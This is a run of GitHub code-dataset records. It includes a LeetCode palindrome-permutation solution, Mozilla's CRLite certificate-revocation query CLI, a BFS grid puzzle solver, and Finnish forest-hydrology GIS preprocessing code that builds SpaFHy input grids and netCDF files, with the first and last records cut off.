global states\n\n try:\n b = bus.read_byte_data(0x2a, 0)\n if b != 0:\n char = chr(b)\n index = keys.index(char)\n states[index] = not states[index]\n # print(char, states[index])\n return True\n else:\n return False\n except:\n sad = \"No mames Hugo\"\n return False\n \n\ndef reset_key(index):\n global states\n\n states[index] = False\n\n\ndef check_simulation_keys():\n global states\n # print(\"checking keys\")\n\n theres_a_change = random.randint(0, 1)\n\n if theres_a_change:\n index = random.randint(0, len(states) - 1)\n char = keys[index]\n states[index] = not states[index]\n # print(char, states[index])\n return True\n else:\n return False\n","repo_name":"elastra21/ffa-controller","sub_path":"keyboard.py","file_name":"keyboard.py","file_ext":"py","file_size_in_byte":1805,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"20829680856","text":"# https://leetcode.com/problems/palindrome-permutation/\n# TC:O(N)\n# SC:O(N)\n\nclass Solution:\n def canPermutePalindrome(self, s: str) -> bool:\n if not s:\n return False\n \n n=len(s)\n hash_map=dict()\n count=0\n \n for ch in s:\n hash_map[ch]=hash_map.get(ch,0)+1\n \n for k,v in hash_map.items():\n count = count + (v%2)\n \n return count<=1\n \n \n \n","repo_name":"akshatakulkarni98/ProblemSolving","sub_path":"DataStructures/strings/can_permute_palindrome.py","file_name":"can_permute_palindrome.py","file_ext":"py","file_size_in_byte":478,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"41263746856","text":"import argparse\nimport logging\nimport requests\nimport sys\n\nfrom crlite_query import CRLiteDB, CRLiteQuery, IntermediatesDB, parse_hosts_file\nfrom datetime import datetime, timedelta\nfrom pathlib import Path\nfrom urllib.parse import urlparse\n\nlog = logging.getLogger(\"query_cli\")\n\n\ncrlite_collection_prod = (\n \"https://firefox.settings.services.mozilla.com/v1/buckets/security-state\"\n + \"/collections/cert-revocations/records\"\n)\ncrlite_collection_stage = (\n \"https://settings.stage.mozaws.net/v1/buckets/security-state\"\n + \"/collections/cert-revocations/records\"\n)\nintermediates_collection_prod = (\n \"https://firefox.settings.services.mozilla.com/v1/buckets/security-state\"\n + \"/collections/intermediates/records\"\n)\n\n\ndef find_attachments_base_url(urlstring):\n url = urlparse(urlstring)\n base_rsp = requests.get(f\"{url.scheme}://{url.netloc}/v1/\")\n return base_rsp.json()[\"capabilities\"][\"attachments\"][\"base_url\"]\n\n\ndef main():\n parser = argparse.ArgumentParser(\n description=\"Query CRLite data\",\n epilog=\"\"\"\n The --db option should point to a folder containing a single filter file of\n the form \"YYYYMMDDnn.filter\" along with a collection of files of the form\n \"YYYYMMDDnn.stash\" which contain updates from that original filter. By\n default, if this tool believes it is out-of-date based on the local\n database, it will attempt to update itself before performing its checks.\n To avoid that behavior, pass --no-update on the command line.\n \"\"\",\n )\n parser.add_argument(\n \"--hosts\",\n help=\"Hosts to check, in the form host[:port] where \"\n + \"port is assumed 443 if not provided. Can be specified multiple times.\",\n action=\"append\",\n nargs=\"+\",\n default=[],\n metavar=\"host[:port]\",\n )\n parser.add_argument(\n \"--hosts-file\",\n help=\"File of hosts to check, in the form of 'host[:port]' each line, \"\n + \"where port is assumed 443 if not provided. Can be specified multiple \"\n + \" times.\",\n action=\"append\",\n default=[],\n type=Path,\n )\n parser.add_argument(\n \"files\", help=\"PEM files to load\", type=argparse.FileType(\"r\"), nargs=\"*\"\n )\n parser.add_argument(\n \"--db\",\n type=Path,\n default=Path(\"~/.crlite_db\"),\n help=\"Path to CRLite database folder\",\n )\n parser.add_argument(\n \"--no-update\", help=\"Do not attempt to update the database\", action=\"store_true\"\n )\n group = parser.add_mutually_exclusive_group()\n group.add_argument(\n \"--force-update\", help=\"Force an update to the database\", action=\"store_true\"\n )\n group.add_argument(\n \"--use-filter\",\n help=\"Use this specific filter file, ignoring the database\",\n type=Path,\n )\n parser.add_argument(\n \"--check-freshness\",\n help=\"Set exit code 0 if the database is more than this many hours old\",\n type=int,\n )\n parser.add_argument(\n \"--check-not-revoked\",\n help=\"Set exit code 0 if none of the supplied certificates are revoked\",\n action=\"store_true\",\n )\n parser.add_argument(\n \"--no-delete\",\n help=\"Do not attempt to delete old database files\",\n action=\"store_true\",\n )\n group = parser.add_mutually_exclusive_group()\n group.add_argument(\n \"--crlite-url\",\n default=crlite_collection_prod,\n help=\"URL to the CRLite records at Remote Settings.\",\n )\n group.add_argument(\n \"--crlite-staging\",\n action=\"store_true\",\n help=\"Use the staging URL for CRLite\",\n )\n parser.add_argument(\n \"--intermediates-url\",\n default=intermediates_collection_prod,\n help=\"URL to the CRLite records at Remote Settings.\",\n )\n parser.add_argument(\n \"--download-intermediates\",\n action=\"store_true\",\n help=\"Download all intermediate PEM files to the database\",\n )\n parser.add_argument(\n \"--verbose\", \"-v\", help=\"Be more verbose\", action=\"count\", default=0\n )\n parser.add_argument(\n \"--structured\",\n help=\"Emit log entries intended for structured loggers\",\n action=\"store_true\",\n )\n\n args = parser.parse_args()\n\n if args.crlite_staging:\n args.crlite_url = crlite_collection_stage\n\n if args.verbose > 1:\n logging.basicConfig(level=logging.DEBUG)\n if args.verbose > 2:\n from pyasn1 import debug\n\n debug.setLogger(debug.Debug(\"all\"))\n else:\n logging.basicConfig(level=logging.INFO)\n\n db_dir = args.db.expanduser()\n\n if not db_dir.is_dir():\n db_dir.expanduser().mkdir()\n\n last_updated_file = (db_dir / \".last_updated\").expanduser()\n if last_updated_file.exists() and not args.force_update:\n updated_file_timestamp = datetime.fromtimestamp(\n last_updated_file.stat().st_mtime\n )\n grace_time = datetime.now() - timedelta(hours=6)\n if last_updated_file.is_file() and updated_file_timestamp > grace_time:\n log.info(f\"Database was updated at {updated_file_timestamp}, skipping.\")\n log.debug(\n f\"Database was last updated {datetime.now() - updated_file_timestamp} ago.\"\n )\n args.no_update = True\n\n attachments_base_url = find_attachments_base_url(args.crlite_url)\n\n intermediates_db = IntermediatesDB(\n db_path=db_dir, download_pems=args.download_intermediates\n )\n crlite_db = CRLiteDB(db_path=args.db)\n\n try:\n if args.force_update or not args.no_update:\n if args.download_intermediates:\n log.info(\n \"Downloading all intermediate certificates. Look in \"\n + f\"{intermediates_db.intermediates_path}\"\n )\n\n intermediates_db.update(\n collection_url=args.intermediates_url,\n attachments_base_url=attachments_base_url,\n )\n crlite_db.update(\n collection_url=args.crlite_url,\n attachments_base_url=attachments_base_url,\n )\n last_updated_file.touch()\n except KeyboardInterrupt:\n log.warning(\"Interrupted.\")\n sys.exit(1)\n\n if args.use_filter:\n crlite_db.load_filter(path=args.use_filter)\n\n if not args.no_delete:\n crlite_db.cleanup()\n\n log.info(f\"Status: {intermediates_db}, {crlite_db}\")\n\n if args.check_freshness:\n freshness_limit = timedelta(hours=args.check_freshness)\n if crlite_db.age() > freshness_limit:\n log.error(\n f\"Database age is {crlite_db.age()}, which is larger than {freshness_limit}, \"\n + \"aborting!\"\n )\n sys.exit(1)\n\n query = CRLiteQuery(intermediates_db=intermediates_db, crlite_db=crlite_db)\n\n if not args.files and not args.hosts and not args.hosts_file:\n log.info(\"No PEM files or hosts specified to load. Run with --help for usage.\")\n\n to_test = list()\n\n for file in args.files:\n to_test.append((file.name, query.gen_from_pem(file)))\n\n host_strings = []\n for host_list in args.hosts:\n host_strings.extend(host_list)\n\n for path in args.hosts_file:\n with path.open(\"r\") as fd:\n host_strings.extend(parse_hosts_file(fd))\n\n for host_str in host_strings:\n parts = host_str.split(\":\")\n hostname = parts[0]\n port = 443\n if len(parts) > 1:\n port = int(parts[1])\n to_test.append((f\"{hostname}:{port}\", query.gen_from_host(hostname, port)))\n\n failures = list()\n\n for (name, generator) in to_test:\n for result in query.query(name=name, generator=generator):\n if args.structured:\n result.log_query_result()\n else:\n result.print_query_result(verbose=args.verbose)\n\n if args.check_not_revoked and result.is_revoked():\n failures.append(result)\n\n if failures:\n log.error(f\"{len(failures)} failures logged:\")\n for result in failures:\n log.error(result)\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"leplatrem/moz_crlite_query","sub_path":"crlite_query/query_cli.py","file_name":"query_cli.py","file_ext":"py","file_size_in_byte":8185,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"82"}
+{"seq_id":"21480201032","text":"import sys\nfrom collections import deque\ninput=sys.stdin.readline\n# 1시간 이상\n# bfs(x좌표,y좌표,지나온 흔적(str))\nh,w=map(int,input().split())\ngrid=[list(map(str,input().rstrip())) for _ in range(h)]\ndisc=[[0]*w for _ in range(h)]\ns_x,s_y,l_x,l_y=0,0,0,0\ntrans={}\ntrans['W']=[-1,0];trans['S']=[1,0];trans['A']=[0,-1];trans['D']=[0,1]\ndirection={}\ndirection[(-1,0)]='W';direction[(1,0)]='S';direction[(0,-1)]='A';direction[(0,1)]='D'\nfor i in range(h):\n for j in range(w):\n if grid[i][j]=='D':\n s_x,s_y=i,j\n if grid[i][j]=='Z':\n l_x,l_y=i,j\n\norder={}\nn=int(input())\nfor i in range(n):\n l=input().split()\n order[i+1]=[]\n for c in l:\n order[i+1].append(trans[c])\n\nans=[]\nq=deque()\nq.append([s_x,s_y,\"\"])\ntime=0\nwhile q:\n time+=1\n for _ in range(len(q)):\n a,b,ans=q.popleft()\n if a==l_x and b==l_y:\n print('YES')\n print(ans)\n sys.exit()\n if time>n:continue\n for x,y in order[time]:\n sam=ans[:]\n aa,bb=a+x,b+y\n if 0<=aa32766 ovat vesialueita ja ei-metsäalueita (tiet, sähkölinjat, puuttomat suot) käytä muita maskeja (maastotietokanta, kysy\n Auralta tie + sähkölinjamaskit) ja IMPOSE LAI ja muut muuttujat ko. alueille. Nyt menevät no-data -luokkaan eikä oteta mukaan laskentaan.\n \"\"\"\n # fpath = os.path.join(fpath, str(ID) + '\\\\sve_' + str(ID) + '_')\n fpath = os.path.join(fpath, str(ID))\n bname = 'sve_' + str(ID) + '_'\n print(fpath) \n # specific leaf area (m2/kg) for converting leaf mass to leaf area \n # SLA = {'pine': 5.54, 'spruce': 5.65, 'decid': 18.46} # m2/kg, Kellomäki et al. 2001 Atm. Env.\n SLA = {'pine': 6.8, 'spruce': 4.7, 'decid': 14.0} # Härkönen et al. 2015 BER 20, 181-195\n \n # values to be set for 'open peatlands' and 'not forest land'\n nofor = {'vol': 0.1, 'ba': 0.01, 'height': 0.1, 'cf': 0.01, 'age': 0.0, \n 'LAIpine': 0.01, 'LAIspruce': 0.01, 'LAIdecid': 0.01, 'bmroot': 0.01}\n opeatl = {'vol': 0.01, 'ba': 0.01, 'height': 0.1, 'cf': 0.1, 'age': 0.0,\n 'LAIpine': 0.01, 'LAIspruce': 0.01, 'LAIdecid': 0.1, 'bmroot': 0.01}\n\n # dem, set values outside boundaries to NaN\n dem, info, pos, cellsize, nodata = read_AsciiGrid(os.path.join(fpath, bname + 'dem_16m_aggr.asc'))\n # latitude, longitude arrays \n nrows, ncols = np.shape(dem)\n lon0 = np.arange(pos[0], pos[0] + cellsize*ncols, cellsize)\n lat0 = np.arange(pos[1], pos[1] + cellsize*nrows, cellsize)\n lat0 = np.flipud(lat0) # why this is needed to get coordinates correct when plotting?\n\n # catchment mask cmask ==1, np.NaN outside\n cmask = dem.copy()\n cmask[np.isfinite(cmask)] = 1.0\n\n # flowacc, D-infinity, nr of draining cells\n flowacc, _, _, _, _ = read_AsciiGrid(os.path.join(fpath, bname + 'Flow_accum_D-Inf_grids.asc'))\n flowacc = flowacc*cellsize**2 # in m2\n # slope, degrees\n slope, _, _, _, _ = read_AsciiGrid(os.path.join(fpath, bname + 'slope_16m.asc'))\n # twi\n twi, _, _, _, _ = read_AsciiGrid(os.path.join(fpath, bname + 'TWI_16m.asc'))\n \n \"\"\"\n Create soiltype grid and masks for waterbodies, streams, peatlands and rocks\n \"\"\"\n # Maastotietokanta water bodies: 1=waterbody\n stream, _, _, _, _ = read_AsciiGrid(os.path.join(fpath, bname + 'vesielementit_mtk.asc'))\n stream[np.isfinite(stream)] = 1.0\n # maastotietokanta peatlandmask\n peatm, _, _, _, _ = read_AsciiGrid(os.path.join(fpath, bname + 'suo_mtk.asc'))\n peatm[np.isfinite(peatm)] = 1.0\n # maastotietokanta kalliomaski\n rockm, _, _, _, _ = read_AsciiGrid(os.path.join(fpath, bname + 'kallioalue_mtk.asc'))\n rockm[np.isfinite(rockm)] = 1.0\n \n \"\"\"\n gtk soilmap: read and re-classify into 4 texture classes\n #GTK-pintamaalaji grouped to 4 classes (Samuli Launiainen, Jan 7, 2017)\n #Codes based on maalaji 1:20 000 AND ADD HERE ALSO 1:200 000\n \"\"\"\n CoarseTextured = [195213, 195314, 19531421, 195313, 195310]\n MediumTextured = [195315, 19531521, 195215, 195214, 195601, 195411, 195112,\n 195311, 195113, 195111, 195210, 195110, 195312]\n FineTextured = [19531521, 195412, 19541221, 195511, 195413, 195410,\n 19541321, 195618]\n Peats = [195512, 195513, 195514, 19551822, 19551891, 19551892]\n Water = [195603]\n\n gtk_s, _, _, _, _ = read_AsciiGrid(os.path.join(fpath, bname + 'soil.asc')) \n \n r, c = np.shape(gtk_s)\n soil = np.ravel(gtk_s)\n #del gtk_s\n\n soil[np.in1d(soil, CoarseTextured)] = 1.0 # ; soil[f]=1; del f\n soil[np.in1d(soil, MediumTextured)] = 2.0\n soil[np.in1d(soil, FineTextured)] = 3.0\n soil[np.in1d(soil, Peats)] = 4.0\n soil[np.in1d(soil, Water)] = -1.0\n\n # reshape back to original grid\n soil = soil.reshape(r, c)\n del r, c\n soil[np.isfinite(peatm)] = 4.0\n # update waterbody mask\n ix = np.where(soil == -1.0)\n stream[ix] = 1.0\n \n # update catchment mask so that water bodies are left out (SL 20.2.18)\n #cmask[soil == -1.0] = np.NaN\n cmask[soil <= 0] = np.NaN\n soil = soil * cmask\n \n \"\"\" stand data (MNFI)\"\"\"\n # stand volume [m3ha-1]\n vol, _, _, _, _ = read_AsciiGrid(os.path.join(fpath, bname + 'tilavuus.asc'), setnans=False)\n vol = vol*cmask\n # indexes for cells not recognized in mNFI\n ix_n = np.where((vol >= 32727) | (vol == -9999) ) # no satellite cover or not forest land: assign arbitrary values \n ix_p = np.where((vol >= 32727) & (peatm == 1)) # open peatlands: assign arbitrary values\n ix_w = np.where((vol >= 32727) & (stream == 1)) # waterbodies: leave out\n cmask[ix_w] = np.NaN # NOTE: leaves waterbodies out of catchment mask\n vol[ix_n] = nofor['vol']\n vol[ix_p] = opeatl['vol']\n vol[ix_w] = np.NaN\n\n # basal area [m2 ha-1]\n ba, _, _, _, _ = read_AsciiGrid(os.path.join(fpath, bname + 'ppa.asc') )\n ba[ix_n] = nofor['ba']\n ba[ix_p] = opeatl['ba']\n ba[ix_w] = np.NaN\n\n # tree height [m]\n height, _, _, _, _ = read_AsciiGrid(os.path.join(fpath, bname + 'keskipituus.asc'))\n height = 0.1*height # m\n height[ix_n] = nofor['height']\n height[ix_p] = opeatl['height']\n height[ix_w] = np.NaN\n\n # canopy closure [-] \n cf, _, _, _, _ = read_AsciiGrid(os.path.join(fpath, bname + 'latvuspeitto.asc'))\n cf = 1e-2*cf\n cf[ix_n] = nofor['cf']\n cf[ix_p] = opeatl['cf']\n cf[ix_w] = np.NaN\n # cfd, _, _, _, _ = read_AsciiGrid(os.path.join(fpath, bname + 'lehtip_latvuspeitto.asc'))\n # cfd = 1e-2*cfd # percent to fraction\n\n # stand age [yrs]\n age, _, _, _, _ = read_AsciiGrid(os.path.join(fpath, bname+'ika.asc'))\n age[ix_n] = nofor['age']\n age[ix_p] = opeatl['age']\n age[ix_w] = np.NaN\n\n # leaf biomasses and one-sided LAI\n bmleaf_pine, _, _, _, _ = read_AsciiGrid(os.path.join(fpath, bname + 'bm_manty_neulaset.asc'))\n bmleaf_spruce, _, _, _, _ = read_AsciiGrid(os.path.join(fpath, bname + 'bm_kuusi_neulaset.asc'))\n bmleaf_decid, _, _, _, _ = read_AsciiGrid(os.path.join(fpath, bname + 'bm_lehtip_neulaset.asc'))\n # bmleaf_pine[ix_n]=np.NaN; bmleaf_spruce[ix_n]=np.NaN; bmleaf_decid[ix_n]=np.NaN;\n\n LAI_pine = 1e-3*bmleaf_pine*SLA['pine'] # 1e-3 converts 10kg/ha to kg/m2\n LAI_pine[ix_n] = nofor['LAIpine']\n LAI_pine[ix_p] = opeatl['LAIpine']\n LAI_pine[ix_w] = np.NaN\n\n LAI_spruce = 1e-3*bmleaf_spruce*SLA['spruce']\n LAI_spruce[ix_n] = nofor['LAIspruce']\n LAI_spruce[ix_p] = opeatl['LAIspruce']\n LAI_spruce[ix_w] = np.NaN\n\n LAI_decid = 1e-3*bmleaf_decid*SLA['decid']\n LAI_decid[ix_n] = nofor['LAIdecid']\n LAI_decid[ix_p] = opeatl['LAIdecid']\n LAI_decid[ix_w] = np.NaN\n\n bmroot_pine, _, _, _, _ = read_AsciiGrid(os.path.join(fpath, bname + 'bm_manty_juuret.asc'))\n bmroot_spruce, _, _, _, _ = read_AsciiGrid(os.path.join(fpath, bname + 'bm_kuusi_juuret.asc'))\n bmroot_decid, _, _, _, _ = read_AsciiGrid(os.path.join(fpath, bname + 'bm_lehtip_juuret.asc')) \n bmroot = 1e-2*(bmroot_pine + bmroot_spruce + bmroot_decid) # 1000 kg/ha\n bmroot[ix_n] = nofor['bmroot']\n bmroot[ix_p] = opeatl['bmroot']\n bmroot[ix_w] = np.NaN\n\n # site types\n maintype, _, _, _, _ = read_AsciiGrid(os.path.join(fpath, bname + 'paatyyppi.asc'))\n maintype = maintype*cmask\n sitetype, _, _, _, _ = read_AsciiGrid(os.path.join(fpath, bname + 'kasvupaikka.asc'))\n sitetype = sitetype*cmask\n \n # catchment outlet location and catchment mean elevation\n (iy, ix) = np.where(flowacc == np.nanmax(flowacc))\n loc = {'lat': lat0[iy], 'lon': lon0[ix], 'elev': np.nanmean(dem)}\n\n # dict of all rasters\n GisData = {'cmask': cmask, 'dem': dem, 'flowacc': flowacc, 'slope': slope,\n 'twi': twi, 'gtk_soilcode': gtk_s, 'soilclass': soil, 'peatm': peatm, 'stream': stream,\n 'rockm': rockm, 'LAI_pine': LAI_pine, 'LAI_spruce': LAI_spruce,\n 'LAI_conif': LAI_pine + LAI_spruce,\n 'LAI_decid': LAI_decid, 'bmroot': bmroot, 'ba': ba, 'hc': height,\n 'vol': vol, 'cf': cf, 'age': age, 'maintype': maintype, 'sitetype': sitetype,\n 'cellsize': cellsize, 'info': info, 'lat0': lat0, 'lon0': lon0, 'loc': loc} \n\n if plotgrids is True:\n # %matplotlib qt\n # xx, yy = np.meshgrid(lon0, lat0)\n plt.close('all')\n\n plt.figure()\n\n plt.subplot(221)\n plt.imshow(dem); plt.colorbar(); plt.title('DEM (m)')\n plt.plot(ix, iy,'rs')\n plt.subplot(222)\n plt.imshow(twi); plt.colorbar(); plt.title('TWI')\n plt.subplot(223)\n plt.imshow(slope); plt.colorbar(); plt.title('slope(deg)')\n plt.subplot(224)\n plt.imshow(flowacc); plt.colorbar(); plt.title('flowacc (m2)')\n\n plt.figure(figsize=(6, 14))\n\n plt.subplot(221)\n plt.imshow(soil); plt.colorbar(); plt.title('soiltype')\n mask = cmask.copy()*0.0\n mask[np.isfinite(peatm)] = 1\n mask[np.isfinite(rockm)] = 2\n mask[np.isfinite(stream)] = 3\n\n plt.subplot(222)\n plt.imshow(mask); plt.colorbar(); plt.title('masks')\n plt.subplot(223)\n plt.imshow(LAI_pine+LAI_spruce + LAI_decid); plt.colorbar(); plt.title('LAI (m2/m2)')\n plt.subplot(224)\n plt.imshow(cf); plt.colorbar(); plt.title('cf (-)')\n\n \n plt.figure(figsize=(6,11))\n plt.subplot(321)\n plt.imshow(vol); plt.colorbar(); plt.title('vol (m3/ha)')\n plt.subplot(323)\n plt.imshow(height); plt.colorbar(); plt.title('hc (m)')\n #plt.subplot(223)\n #plt.imshow(ba); plt.colorbar(); plt.title('ba (m2/ha)')\n plt.subplot(325)\n plt.imshow(age); plt.colorbar(); plt.title('age (yr)')\n plt.subplot(322)\n plt.imshow(1e-3*bmleaf_pine); plt.colorbar(); plt.title('pine needles (kg/m2)')\n plt.subplot(324)\n plt.imshow(1e-3*bmleaf_spruce); plt.colorbar(); plt.title('spruce needles (kg/m2)')\n plt.subplot(326)\n plt.imshow(1e-3*bmleaf_decid); plt.colorbar(); plt.title('decid. leaves (kg/m2)')\n\n if plotdistr is True:\n twi0 = twi[np.isfinite(twi)]\n vol = vol[np.isfinite(vol)]\n lai = LAI_pine + LAI_spruce + LAI_decid\n lai = lai[np.isfinite(lai)]\n soil0 = soil[np.isfinite(soil)]\n \n plt.figure(100)\n plt.subplot(221)\n plt.hist(twi0, bins=100, color='b', alpha=0.5, normed=True)\n plt.ylabel('f');plt.ylabel('twi')\n\n s = np.unique(soil0)\n colcode = 'rgcym'\n for k in range(0,len(s)):\n print(k)\n a = twi[np.where(soil==s[k])]\n a = a[np.isfinite(a)]\n plt.hist(a, bins=50, alpha=0.5, color=colcode[k], normed=True, label='soil ' +str(s[k]))\n plt.legend()\n plt.show()\n\n plt.subplot(222)\n plt.hist(vol, bins=100, color='k', normed=True); plt.ylabel('f'); plt.ylabel('vol')\n plt.subplot(223)\n plt.hist(lai, bins=100, color='g', normed=True); plt.ylabel('f'); plt.ylabel('lai')\n plt.subplot(224)\n plt.hist(soil0, bins=5, color='r', normed=True); plt.ylabel('f');plt.ylabel('soiltype')\n\n return GisData\n\ndef preprocess_soildata(pbu, psoil, soiltype, cmask, spatial=True):\n \"\"\"\n creates input dictionary for initializing BucketGrid\n Args:\n bbu - bucket parameters dict\n psoil - soiltype dict\n soiltype - soiltype code classified into 5 groups\n cmask - catchment mask\n \"\"\"\n # create dict for initializing soil bucket.\n # copy pbu into sdata and make each value np.array(np.shape(cmask))\n data = pbu.copy()\n data.update((x, y*cmask) for x, y in data.items())\n\n if spatial:\n for key in psoil.keys():\n c = psoil[key]['soil_id']\n ix = np.where(soiltype == c)\n data['poros'][ix] = psoil[key]['poros']\n data['fc'][ix] = psoil[key]['fc']\n data['wp'][ix] = psoil[key]['wp']\n data['ksat'][ix] = psoil[key]['ksat']\n data['beta'][ix] = psoil[key]['beta']\n del ix\n\n data['soilcode'] = soiltype\n return data\n \n\n\"\"\" ************ Reading and writing Ascii -grids ********* \"\"\" \n \ndef read_AsciiGrid(fname, setnans=True):\n \n \"\"\" reads AsciiGrid format in fixed format as below:\n \n ncols 750\n nrows 375\n xllcorner 350000\n yllcorner 6696000\n cellsize 16\n NODATA_value -9999\n -9999 -9999 -9999 -9999 -9999\n -9999 4.694741 5.537514 4.551162\n -9999 4.759177 5.588773 4.767114\n IN:\n fname - filename (incl. path)\n OUT:\n data - 2D numpy array\n info - 6 first lines as list of strings\n (xloc,yloc) - lower left corner coordinates (tuple)\n cellsize - cellsize (in meters?)\n nodata - value of nodata in 'data'\n Samuli Launiainen Luke 7.9.2016\n \"\"\"\n import numpy as np\n print(fname)\n fid = open(fname, 'r')\n info = fid.readlines()[0:6]\n fid.close()\n\n # print info\n # conversion to float is needed for non-integers read from file...\n xloc = float(info[2].split(' ')[-1])\n yloc = float(info[3].split(' ')[-1])\n cellsize = float(info[4].split(' ')[-1])\n nodata = float(info[5].split(' ')[-1])\n\n # read rest to 2D numpy array\n data = np.loadtxt(fname, skiprows=6)\n\n if setnans is True:\n data[data == nodata] = np.NaN\n nodata = np.NaN\n return data, info, (xloc, yloc), cellsize, nodata\n\n\ndef write_AsciiGrid(fname, data, info, fmt='%.18e'):\n \"\"\" writes AsciiGrid format txt file\n IN:\n fname - filename\n data - data (numpy array)\n info - info-rows (list, 6rows)\n fmt - output formulation coding\n \n Samuli Launiainen Luke 7.9.2016\n \"\"\"\n import numpy as np\n\n # replace nans with nodatavalue according to info\n nodata = int(info[-1].split(' ')[-1])\n data[np.isnan(data)] = nodata\n # write info\n fid = open(fname, 'w')\n fid.writelines(info)\n fid.close()\n\n # write data\n fid = open(fname, 'a')\n np.savetxt(fid, data, fmt=fmt, delimiter=' ')\n fid.close()\n\n\"\"\" ********* Flatten 2d array with nans to dense 1d array ********** \"\"\"\n\n\ndef matrix_to_array(x, nodata=None):\n \"\"\" returns 1d array and their indices in original 2d array\"\"\"\n\n s = np.shape(x)\n if nodata is None: # Nan\n ix = np.where(np.isfinite(x))\n else:\n ix = np.where(x != nodata)\n y = x[ix].copy()\n return y, ix, s\n\n\ndef array_to_matrix(y, ix, s, nodata=None):\n \"\"\"returns 1d array reshaped into 2d array x of shape s\"\"\"\n if nodata is None:\n x = np.ones(s)*np.NaN\n else:\n x = np.ones(s)*nodata\n x[ix] = y\n\n return x\n\n\ndef inputs_netCDF(ID, fname, data):\n \"\"\"\n Store gridded data required by SpaFHy into netCDF \n IN:\n ID -catchment id as str\n fname - filename\n data - dict with keys:\n cmask - catchment mask; integers within np.Nan outside\n LAI_conif [m2m-2]\n LAI_decid [m2m-2]\n hc, canopy closure [m]\n fc, canopy closure fraction [-]\n soil, soil type integer code 1-5\n flowacc - flow accumulation [units]\n slope - local surface slope [units]\n \n cellsize - gridcell size\n lon0 - x-grid\n lat0 - y-grid\n OUT:\n ncf - netCDF file handle. Initializes data\n ff - netCDF filename incl. path\n LAST EDIT 05.10.2018 / Samuli\n \"\"\"\n\n from netCDF4 import Dataset #, date2num, num2date\n from datetime import datetime\n\n print('**** creating SpaFHy input netCDF4 file: ' + fname + ' ****')\n \n # create dataset & dimensions\n ncf = Dataset(fname, 'w')\n ncf.description = 'SpatialData from : ' + str(ID)\n ncf.history = 'created ' + datetime.now().strftime('%Y-%m-%d %H:%M:%S')\n ncf.source = 'SpaFHy v.1.0 inputs'\n \n dlat, dlon = np.shape(data['cmask'])\n\n ncf.createDimension('dlon', int(dlon))\n ncf.createDimension('dlat', int(dlat))\n ncf.createDimension('scalar', 1)\n\n # create variables \n # call as createVariable(varname,type,(dimensions))\n cellsize = ncf.createVariable('cellsize', 'f4', ('scalar',))\n cellsize.units = 'm'\n lat = ncf.createVariable('lat', 'f4', ('dlat',))\n lat.units = 'ETRS-TM35FIN'\n lon = ncf.createVariable('lon', 'f4', ('dlon',))\n lon.units = 'ETRS-TM35FIN'\n\n cellsize[0] = data['cellsize']\n lon[:] = data['lon0']\n lat[:] = data['lat0']\n \n # required inputs\n cmask = ncf.createVariable('cmask', 'i4', ('dlat','dlon',))\n cmask.units = 'integer inside catchment, Nan outside'\n LAI_conif = ncf.createVariable('LAI_conif', 'f4', ('dlat','dlon',))\n LAI_conif.units = 'conifer LAI (m2m-2)'\n LAI_decid = ncf.createVariable('LAI_decid', 'f4', ('dlat','dlon',))\n LAI_decid.units = 'deciduous annual max LAI (m2m-2)' \n hc = ncf.createVariable('hc', 'f4', ('dlat','dlon',))\n hc.units = 'canopy height m' \n cf = ncf.createVariable('cf', 'f4', ('dlat','dlon',))\n cf.units = 'canopy closure (-)' \n \n soilclass = ncf.createVariable('soilclass', 'i4', ('dlat','dlon',))\n soilclass.units = 'soil class (1 - 5)'\n \n flowacc = ncf.createVariable('flowacc', 'f4', ('dlat','dlon',))\n flowacc.units = 'flow accumualtion area m2'\n slope = ncf.createVariable('slope', 'f4', ('dlat','dlon',))\n slope.units = 'local slope (deg)' \n \n for k in ['LAI_conif', 'LAI_decid', 'hc', 'cf', 'soilclass', 'flowacc', 'slope']:\n ncf[k][:,:] = data[k]\n \n print('**** done ****')\n\n\n# specific for MEOLO-sites\n\"\"\" ****************** creates gisdata dictionary from Vihti-koealue ************************ \"\"\"\n\ndef create_vihti_catchment(ID='Vihti', fpath='c:\\\\projects\\\\fotetraf\\\\spathy\\\\data', plotgrids=False, plotdistr=False):\n \"\"\" \n reads gis-data grids from selected catchments and returns numpy 2d-arrays\n IN: \n ID - SVE catchment ID (int or str)\n fpath - folder (str)\n plotgrids - True plots\n OUT:\n GisData - dictionary with 2d numpy arrays and some vectors/scalars.\n\n keys [units]:'dem'[m],'slope'[deg],'soil'[coding 1-4], 'cf'[-],'flowacc'[m2], 'twi'[log m??],\n 'vol'[m3/ha],'ba'[m2/ha], 'age'[yrs], 'hc'[m], 'bmroot'[1000kg/ha],'LAI_pine'[m2/m2 one-sided],'LAI_spruce','LAI_decid',\n 'info','lat0'[latitude, euref_fin],'lon0'[longitude, euref_fin],loc[outlet coords,euref_fin],'cellsize'[cellwidth,m],\n 'peatm','stream','cmask','rockm'[masks, 1=True] \n \n TODO (6.2.2017 Samuli): \n mVMI-datan koodit >32766 ovat vesialueita ja ei-metsäalueita (tiet, sähkölinjat, puuttomat suot) käytä muita maskeja (maastotietokanta, kysy\n Auralta tie + sähkölinjamaskit) ja IMPOSE LAI ja muut muuttujat ko. alueille. Nyt menevät no-data -luokkaan eikä oteta mukaan laskentaan.\n \"\"\"\n #from iotools import read_AsciiGrid\n\n fpath=os.path.join(fpath,str(ID)+'_')\n \n #specific leaf area (m2/kg) for converting leaf mass to leaf area \n # SLA={'pine':5.54, 'spruce': 5.65, 'decid': 18.46} #m2/kg, Kellomäki et al. 2001 Atm. Env.\n SLA = {'pine': 6.8, 'spruce': 4.7, 'decid': 14.0} # Härkönen et al. 2015 BER 20, 181-195\n\n #values to be set for 'open peatlands' and 'not forest land'\n nofor={'vol':0.1, 'ba':0.01, 'height':0.1, 'cf': 0.01, 'age': 0.0, 'LAIpine': 0.01, 'LAIspruce':0.01, 'LAIdecid': 0.01, 'bmroot':0.01}\n opeatl={'vol':0.01, 'ba':0.01, 'height':0.1, 'cf': 0.1, 'age': 0.0, 'LAIpine': 0.01, 'LAIspruce':0.01, 'LAIdecid': 0.01, 'bmroot':0.01}\n \n #dem, set values outside boundaries to NaN \n dem, info, pos, cellsize, nodata = read_AsciiGrid(fpath+'dem_16m.asc')\n #latitude, longitude arrays \n nrows, ncols=np.shape(dem) \n lon0=np.arange(pos[0], 